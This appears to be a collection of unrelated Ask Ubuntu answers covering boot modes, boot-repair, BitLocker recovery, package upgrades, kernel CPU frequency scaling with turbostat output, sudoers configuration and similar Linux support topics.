The difference between the amd64 and the amd64+mac is that the amd64 version is 'multi-catalog', ie it can boot on either BIOS or UEFI systems whereas the amd64+mac version only support BIOS booting.

The problem is that Macs are not able to boot 'multi-catalog' disks. However, you can get your Windows machine to boot from it by selecting the Legacy/BIOS option instead of the UEFI option.


You would only need one card if the card has both a VGA and a DVI input like the one in the image.

Red arrow points to VGA and the black arrow points to DVI input


You can do it easily by start installing fedora and when you go to partitioning section choose to replace Ubuntu by fedora


First create a bootable Ubuntu live USB stick.
https://ubuntu.com/tutorials/create-a-usb-stick-on-ubuntu
Boot the PC from live stick using BIOS settings or setting primary boot to USB in BIOS
Select Try Ubuntu when prompted

Connect to Internet. Press Ctrl + Alt + T to open terminal and paste the following commands all at once.
sudo apt install software-properties-common; \
sudo add-apt-repository "deb http://archive.ubuntu.com/ubuntu $(lsb_release -sc) universe"; \
sudo add-apt-repository -y ppa:yannubuntu/boot-repair; \
sudo apt-get update; \
sudo apt-get install -y boot-repair && boot-repair

You will get the boot repair tool after the process is done.
Select Recommended repair. It should most likely fix your problem


Can I recover a Bitlocker-encrypted disk without the key?

You'd need to get a recovery key from Microsoft and then do the recovery in Windows.

If you didn't set up a recovery key, your future is a lot more bleak. Here's the snip from the MS Bitlocker recovery FAQ:

  Unfortunately, if you can’t find your key, and no other administrator on the PC can find a backup copy either, you’ll need to restore the PC to factory default settings. Only choose this option as a last resort because it will delete your personal data from the PC. While it helps protect your data against unauthorized access, it also prevents you from ever accessing your data again.

Bitlocker is proper strong encryption.
You aren't going to crack it without a key in your lifetime.

Nothing in Ubuntu will change that.


After java 8 there is no more 32 bit Oracle virtual machine. I think the same is for OpenJDK. You can search if you want for another virtual machine which has 32 bit and after that install it.

For example I see that Azul has 32 bit machine. But honestly I never test them. Maybe there are other JVM providers with 32 bit machines: https://www.azul.com/downloads/zulu/zulu-linux/

By the way I also don't know what kind of licences they have.

Apart from that Ubuntu 18.10 by default try to install OpenJDK 11. If you are OK with java 8 you can search how to install java 8 32 bits.

Good luck!


Blank screen on Z620 after install of 16.04.02 server

Have had same problem but I found an answer elsewhere, as the server IS running, I can open a console with PuTTY from a windowes machine. The answer I was given was hit Ctrl-ALT-F1 to get a TTY1 screen on the server itself. Don't know why the login screen doesnt come up. But at least you can control it.


Install packages with unmet dependencies

I fixed the packages by following the steps provided by the ubuntu package manager trouble shooting procedure. I believed the previous packages were somehow broken.


Postgis + could not access file "$libdir/postgis-2.1": No such file or directory

You can reinstall the postgis extension for PostgreSQL, it worked for me :

sudo apt-get install postgresql-9.3-postgis-2.1


Can't install Windows 10 alongside Ubuntu (MBR error)

Type of partitioning of drive is critical for Windows install. Less so for Ubuntu.

Windows only installs to MBR(msdos) partitioned drives with BIOS.
Windows only installs to gpt(GUID) partitioned drives with UEFI.

For both Ubuntu & Windows how you boot install media UEFI or BIOS is then how it installs. And always best to have all systems boot in same mode. Grub can only boot systems installed in same mode, but you can boot from UEFI boot menu if not in same boot mode.

If system is BIOS/MBR Windows has to have a primary NTFS formatted partition with the boot flag. Only one boot flag per device. Does not have to be sda1, but should be before the extended partition to avoid some other issues.
Normal installs of Windows use two primary partitions, the 100MB boot, and main NTFS. But Windows will install to one NTFS primary partition.

With UEFI/gpt Windows requires space to install, needs several partitions.

Windows 7 DVD is BIOS, but can be copied to flash drive and converted to UEFI boot. You have to create the default UEFI boot /EFI/Boot/bootx64.efi on Windows flash drive. Files are there just need moved to correct locations and/or renamed.

Newer Windows is like Ubuntu installer that can be booted in either UEFI or BIOS boot mode.


What are the risks / advantages of working with a mainline kernel?

It is possible to install your own kernel from the mainline, but not recommended.

Unless you have some specific piece of hardware that doesn't work in 3.8 but is supported in 3.11, the changes are very unlikely to make a difference to you.

You can read a (shortened but not short) list of changes at eg, KernelNewbies. The Linux kernel as a whole supports a large number of different computer architectures and peripherals and hence most changes probably don't affect the hardware you are using. Changes to the core might make minor differences in eg, file system performance but in most cases you won't notice the difference.

In addition, installing your own means you don't get the advantage of the package manager's scripts which streamline installing a new kernel - for instance, you'll have to manually update grub to boot the new kernel and manually install any proprietary drivers (nvidia, broadcom, etc) you were using.

If security issues are fixed in newer kernel versions, they are patched in the currently supported Ubuntu versions and you get these fixes by running a normal Software Update.

Ubuntu 13.10 Saucy Salamander will be released in the next few weeks with a 3.11 kernel.


Ubuntu Tweak doesn't seem to work for me in Xubuntu 12.04 64-bit

Its because xubuntu uses a different ui. Whilst ubuntu uses unity, xubuntu uses xfce. Try this for changing the theme http://xfce-look.org/content/show.php?content=149647


No file downloads fine for me.

Assume you mean the link ftp://ftp.gmplib.org/pub/misc/gmpbench-0.2.tar.bz2

Which you can see is an FTP site.

Also try the wget command

wget ftp://ftp.gmplib.org/pub/misc/gmpbench-0.2.tar.bz2

You might need to install the command

sudo apt-get install wget


It may be installed from one of three sources - APT, Snap, FlatPak.
To remove it completely use:
sudo apt-get remove okular
snap remove okular
flatpak remove flathub org.kde.okular


How can I change the number of workspaces in `Workspace Grid` extension?

As you can see at mathematicalcoffee BitBucket page, you can change this configuration through the extension.js file.

First, find your Workspace Grid folder inside the extensions folder. Mine is:

$ cd ~/.local/share/gnome-shell/extensions/workspace-grid@mathematical.coffee.gmail.com

Open extension.js file:

$ vim extension.js

Locate the following lines:

//// CONFIGURE HERE (note: you can have at most 36 workspaces)
const WORKSPACE_CONFIGURATION = {
    rows: 2,
    columns: 3
};

And change rows and columns for your desired number of workspaces:

rows: 2,
columns: 2

Restart your computer.


If you have set System settings (icon in the Launcher) > Software and updates > / Updates \ > Automatically check for updates: to something else than "Never", then you shouldn't need to do anything from the command line.

$ sudo apt-get update will launch a process to check for available updates "now".
$ sudo apt-get upgrade will install the updates based on what was found.
$ sudo apt-get dist-upgrade simplified: if any packages were "held back" during the upgrade, this will install them.

For upgrade and dist-upgrade, and also anything install, remove or purge:
Do check thoroughly what it says before actually letting it to do its thing.
There MIGHT be surprises.

Links worth a look:
What does "sudo apt-get update" do?
https://askubuntu.com/a/694412/22949


It seems your local repository mirror is currently down, for workaround you can try changing the repository to the Main Server, here's how to do it:

Open dash then type Updates, click/open Software & Updates from search result.
On Download From drop down menu selection, choose Main Server.

There will be pop-up asked you to fill your password, once you have type your password click Authenticate button to apply change you've made.

Close the window then.


That's because you're using LTS version and you're trying to upgrade to a non-LTS version of Ubuntu. Check:

cat /etc/update-manager/release-upgrades | grep -i prompt

it should print like:

# Default prompting behavior, valid options:
Prompt=lts

That means it prompted to upgrade to LTS versions but not the Development ones. If you want to upgrade to Development version of Ubuntu:

sudo nano /etc/update-manager/release-upgrades

Then substitute:

Prompt=lts

to

Prompt=normal

Then save and exit. Run:

sudo apt-get update
sudo do-release-upgrade -c -d


Frequency scaling no longer works after kernel upgrade

Note: This is NOT an answer to the question, but rather a response to the actual root issue.

The older kernel, 3.13.0-37, used the acpi-cpufreq CPU frequency scaling driver by default. Apparently that driver was compatible with whatever higher level applet was being used to control CPU frequency scaling.

The newer kernel, 3.16.0-38. used the intel_pstate CPU frequency scaling driver by default. Apparently that driver is NOT compatible with whatever higher level applet was being used to control CPU frequency scaling. The information was misleading, and the question was asked based on the belief that there was no frequency scaling when actually there was.

The intel_pstate driver has had a problematic history, with sometimes very very bad mistakes. For a time it was disabled by default in Ubuntu. More recently (in the last year) it has been enabled by default again. Myself, I think there are still multiple issues with the intel_pstate driver (and it has been my focus for a very long time now).

One can override the default scaling driver via the GRUB_CMDLINE_LINUX_DEFAULT line in /etc/default/grub. For example (includes some other stuff that I use):

GRUB_CMDLINE_LINUX_DEFAULT="ipv6.disable=1 intel_pstate=disable net.ifnames=1 biosdevname=0 crashkernel=384M-:128M"

or:

GRUB_CMDLINE_LINUX_DEFAULT="ipv6.disable=1 intel_pstate=enable net.ifnames=1 biosdevname=0 crashkernel=384M-:128M"

always remember (I rarely remember) to:

sudo update-grub

afterwards.

A great many users complain that their CPU frequencies are too high with the intel_pstate driver. In many cases it is true. However, one needs to also look at C states (various levels of idle) to really know what is going on with their processor, and if they should be concerned or not. As processors are evolving and deeper C states are available, sometimes using a higher CPU frequency for a task and then going into a deeper C state sooner can result in less energy consumption overall. This is one reason the original maintainer of the intel_pstate driver used the name powersave for the main governor, which is crudely and roughly the equivalent of the acpi-cpufreq ondemand governor. The governor naming is a source of confusion for many users.

Anyway, a recommended tool for obtaining feedback on C states and such is turbostat. I can not recall what package contains turbostat, because I always compile it myself from the kernel source. Example turbostat run:

$ sudo ./turbostat -d sleep 10
turbostat version 4.7 17-June, 2015 - Len Brown <lenb@kernel.org>
CPUID(0): GenuineIntel 13 CPUID levels; family:model:stepping 0x6:2a:7 (6:42:7)
CPUID(6): APERF, DTS, PTM, EPB
RAPL: 690 sec. Joule Counter Range, at 95 Watts
cpu2: MSR_NHM_PLATFORM_INFO: 0x100070012200
16 * 100 = 1600 MHz max efficiency frequency
34 * 100 = 3400 MHz base frequency
cpu2: MSR_IA32_POWER_CTL: 0x0004005d (C1E auto-promotion: DISabled)
cpu2: MSR_TURBO_RATIO_LIMIT: 0x23242526
35 * 100 = 3500 MHz max turbo 4 active cores
36 * 100 = 3600 MHz max turbo 3 active cores
37 * 100 = 3700 MHz max turbo 2 active cores
38 * 100 = 3800 MHz max turbo 1 active cores
cpu2: MSR_NHM_SNB_PKG_CST_CFG_CTL: 0x1e008403 (UNdemote-C3, UNdemote-C1, demote-C3, demote-C1, locked: pkg-cstate-limit=3: pc6r)
cpu0: MSR_IA32_ENERGY_PERF_BIAS: 0x00000006 (balanced)
cpu0: MSR_RAPL_POWER_UNIT: 0x000a1003 (0.125000 Watts, 0.000015 Joules, 0.000977 sec.)
cpu0: MSR_PKG_POWER_INFO: 0x01e002f8 (95 W TDP, RAPL 60 - 0 W, 0.000000 sec.)
cpu0: MSR_PKG_POWER_LIMIT: 0x800087f8001487f8 (locked)
cpu0: PKG Limit #1: ENabled (255.000000 Watts, 1.000000 sec, clamp DISabled)
cpu0: PKG Limit #2: ENabled (255.000000 Watts, 0.000977* sec, clamp DISabled)
cpu0: MSR_PP0_POLICY: 0
cpu0: MSR_PP0_POWER_LIMIT: 0x00000000 (UNlocked)
cpu0: Cores Limit: DISabled (0.000000 Watts, 0.000977 sec, clamp DISabled)
cpu0: MSR_PP1_POLICY: 0
cpu0: MSR_PP1_POWER_LIMIT: 0x00000000 (UNlocked)
cpu0: GFX Limit: DISabled (0.000000 Watts, 0.000977 sec, clamp DISabled)
cpu0: MSR_IA32_TEMPERATURE_TARGET: 0x00621200 (98 C)
cpu0: MSR_IA32_PACKAGE_THERM_STATUS: 0x88430000 (31 C)
cpu0: MSR_IA32_THERM_STATUS: 0x88440000 (30 C +/- 1)
cpu1: MSR_IA32_THERM_STATUS: 0x88440000 (30 C +/- 1)
cpu2: MSR_IA32_THERM_STATUS: 0x88420000 (32 C +/- 1)
cpu3: MSR_IA32_THERM_STATUS: 0x88440000 (30 C +/- 1)
    Core     CPU Avg_MHz   %Busy Bzy_MHz TSC_MHz     SMI  CPU%c1  CPU%c3  CPU%c6  CPU%c7 CoreTmp  PkgTmp Pkg%pc2 Pkg%pc3 Pkg%pc6 PkgWatt CorWatt GFXWatt
       -       -       0    0.03    1606    3411       0    0.13    0.01   99.83    0.00      24      25    2.04    0.00   97.48    3.89    0.28    0.23
       0       0       1    0.06    1606    3411       0    0.12    0.02   99.80    0.00      24      25    2.04    0.00   97.48    3.89    0.28    0.23
       0       4       0    0.01    1604    3411       0    0.17
       1       1       1    0.05    1606    3411       0    0.08    0.02   99.85    0.00      24
       1       5       0    0.02    1605    3411       0    0.11
       2       2       1    0.04    1607    3411       0    0.17    0.00   99.79    0.00      24
       2       6       0    0.01    1605    3411       0    0.20
       3       3       0    0.03    1605    3411       0    0.09    0.00   99.89    0.00      24
       3       7       0    0.01    1605    3411       0    0.10
10.001485 sec

My older i7 processor only goes to the C6 level, but notice how much time it is spending there, at over 99%. Thus power consumption is very low at 3.9 watts for the package, because mostly my CPUs are in a deep idle state.

Hope this helps.

Edit: An example of compiling turbostat:
First, I can never remember where it is:

doug@s15:~$ locate turbostat.c
/home/doug/temp-k-git/linux/tools/power/x86/turbostat/turbostat.c

Second, go there and compile it:

doug@s15:~$ cd /home/doug/temp-k-git/linux/tools/power/x86/turbostat
doug@s15:~/temp-k-git/linux/tools/power/x86/turbostat$ make
gcc -Wall -DMSRHEADER='"../../../../arch/x86/include/asm/msr-index.h"' turbostat.c -o /home/doug/temp-k-git/linux/tools/power/x86/turbostat/turbostat

Third, put it where I always use it:

doug@s15:~/temp-k-git/linux/tools/power/x86/turbostat$ cp turbostat ~/temp/


Upgrade failed and Unable to Install update in Update Manager

Open your terminal and use following command

sudo dpkg --purge bt-dw1705-firmware
sudo apt-get install -f

After it try to update.


In JavaScript/QML, objects are data (variables), with properties and methods.
You can also create your own objects.

This example creates an object called "results", and adds four properties to it:

property var results: {"passed": 15, "failed": 2, "skipped": 1, "IlikeYourQuestions": 1};

You could also add methods to it, but with just a set of properties, it works exactly like a dictionary.

You can access the object properties in two ways:

results.passed;
results["passed"];

Source: http://www.w3schools.com/js/js_objects.asp


How to install Gwibber from *tar.gz file?

Unless you face problems with the normal release please use the version used in Ubuntu Software Center

But since ours is not to question but to answer...

Extract the compressed file, enter the newly created directory and see the README inside the compressed file. These are the 3 commands to do the 1st part:

cd ~/Downloads
tar xvfz gwibber-3.6.0.tar.gz
cd gwibber-3.6.0/

(if you have another version change the numbers)

Read me file includes the following:

Installation
------------

Gwibber uses Python's distutils framework for installation. In order to
install Gwibber, you will need root access. To install Gwibber, perform
the following command as root:

sudo python setup.py install


mona is not in the sudoers file. This incident will be reported

The usual way to give sudo rights to an account in Ubuntu is to add it to the admin and/or sudo groups, which are given sudo rights by default.

If you really want to modify your sudoers configuration, you should not edit /etc/sudoers directly, but add your local configuration in a separate file in the directory /etc/sudoers.d as described in man sudoers. This is to avoid the problem you just experienced: since your changes will not be in /etc/sudoers, you can safely upgrade it to newer versions without losing your configuration.

In order to modify system files if sudo won't work, you can go through recovery mode. You can then, for example, add mona to the sudo group with

usermod -aG sudo mona


How can I make cowsay to say server logging messages?

The whole idea of a terminal is to print output line by line. So having a fixed bottom part and a change in previous lines goes against this.

However you could simulate this with a terminal multiplexer (e.g. tmux or screen). They create split screen terminals. This way you can have e.g. the bottom 10% of the screen be one terminal where the cow is printed and left untouched. In the top 90% the actual action is happening and the lines scroll as expected.

Take a look at terminal multiplexers here.


Note:  Always make sure that you have a backup of all your data when dealing with partitions.

The short answer, boot with the Ubuntu live CD, choose try Ubuntu.  Go to disk utility, and delete the partition(s) that you want.  Remove the CD, and boot from the Windows 7 DVD, and it should be OK.

For the Windows way


How can I add new packages to archive.ubuntu.com?

Firstly if this is a popular program expect the update to come shortly.

If not then packaging.ubuntu.com is your friend especially This guide for the process of submitting an [updated] package

As stated in the meantime you can make a PPA instead

Here is a similar question: Outdated package in repo


lib32asound : Dependency is not satisfiable

My problem was fixed installing 32 bit version of teamviewer. Apparently x64 package doesn't work on Ubuntu x64.